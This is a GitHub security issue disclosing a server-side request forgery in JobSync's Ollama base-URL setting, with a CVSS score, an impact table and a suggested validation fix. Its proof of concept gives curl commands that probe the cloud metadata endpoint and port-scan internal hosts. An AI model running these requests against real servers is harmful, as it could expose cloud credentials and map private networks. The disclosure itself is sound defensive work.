Skip to content

Security: SSRF via user-controlled Ollama base URL (CWE-918) #70

@rorar

Description

@rorar

Summary

Any authenticated user can set an arbitrary URL as their Ollama base URL via the API key settings. This URL is then used by the server in fetch() calls without validation, enabling Server-Side Request Forgery (SSRF). The attacker can probe internal network services, access cloud metadata endpoints, and port-scan private infrastructure — all from the server's network context.

Affected Files

File Role
src/models/apiKey.schema.ts Validates Ollama "key" as z.string().min(1) — no URL format check
src/actions/apiKey.actions.ts getOllamaBaseUrl() returns stored value verbatim
src/app/api/ai/ollama/generate/route.ts fetch(\${baseUrl}/api/generate`)with user-controlledbaseUrl`
src/app/api/settings/api-keys/verify/route.ts Ollama verifier calls fetch(key + "/api/tags") with user-supplied key
src/lib/ai/provider-registry.server.ts Ollama verifier uses key as URL directly

Root Cause

The Ollama "API key" is actually a base URL (e.g., http://localhost:11434). The schema validates it only as a non-empty string — no URL format validation, no protocol restriction, no hostname allowlist. The stored value is used directly in server-side fetch() calls.

Proof of Concept

Method 1: Via API Key Verification (No persistent storage needed)

# Probe AWS metadata service from the server
curl -X POST http://<host>:3737/api/settings/api-keys/verify \
  -H "Content-Type: application/json" \
  -H "Cookie: session_cookie=..." \
  -d '{"provider": "ollama", "key": "http://169.254.169.254"}'

# Server executes: fetch("http://169.254.169.254/api/tags")
# Response status/error reveals reachability of internal service

Method 2: Via Stored URL + Generate Endpoint

# 1. Save a malicious Ollama URL
# (via saveApiKey server action with provider: "ollama")

# 2. Trigger server-side request to internal service
curl -X POST http://<host>:3737/api/ai/ollama/generate \
  -H "Content-Type: application/json" \
  -H "Cookie: session_cookie=..." \
  -d '{"model": "any", "prompt": "test"}'

# Server executes: fetch("http://internal-service:8080/api/generate", { body: ... })
# The full request body from the client is forwarded to the internal service

Method 3: Port Scanning

# Enumerate internal services by varying the URL
for port in 22 80 443 3000 5432 6379 8080 9200 11434; do
  curl -X POST http://<host>:3737/api/settings/api-keys/verify \
    -d "{\"provider\": \"ollama\", \"key\": \"http://192.168.1.1:${port}\"}"
done
# Response timing and error messages reveal which ports are open

Impact

Attack Impact
Cloud metadata access AWS/GCP/Azure instance metadata (IAM credentials, tokens) via 169.254.169.254
Internal service probing Discover and interact with services on the private network
Port scanning Map the internal network from the server's perspective
Data exfiltration Forward request body to attacker-controlled server
Resource exhaustion Set keep_alive: -1 in Ollama requests to pin models in memory indefinitely

Why This Matters for Self-Hosted Apps

  1. Self-hosted = on a private network. The JobSync server likely has access to other services (NAS, home automation, databases, other self-hosted apps). SSRF turns the JobSync server into a pivot point.
  2. Docker deployments. The server can reach other containers on the Docker network, container orchestration APIs, and the host's loopback services.
  3. Cloudflare Tunnel / Tailscale. If exposed via tunnel, the SSRF originates from inside the trusted network — bypassing firewall rules designed to keep external traffic out.

Severity

  • CVSS 3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N = 8.5 (High)
  • CWE-918: Server-Side Request Forgery

Suggested Fix

Validate the Ollama URL before storage and before every fetch:

function validateOllamaUrl(url: string): URL {
  const parsed = new URL(url); // throws on invalid URL
  
  if (!["http:", "https:"].includes(parsed.protocol)) {
    throw new Error("Only http/https protocols allowed");
  }
  
  const hostname = parsed.hostname;
  // Block private/internal addresses
  if (/^(127\.|10\.|192\.168\.|172\.(1[6-9]|2\d|3[01])\.|169\.254\.|0\.|::1|localhost|metadata)/i.test(hostname)) {
    throw new Error("Private/internal addresses not allowed");
  }
  
  return parsed;
}

Apply in saveApiKey() before persisting and in getOllamaBaseUrl() before returning.

Additionally, validate the request body forwarded to Ollama — only pass allowlisted fields:

const { model, prompt } = await req.json();
const safeBody = { model, prompt, stream: false };
// Don't forward raw client body

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions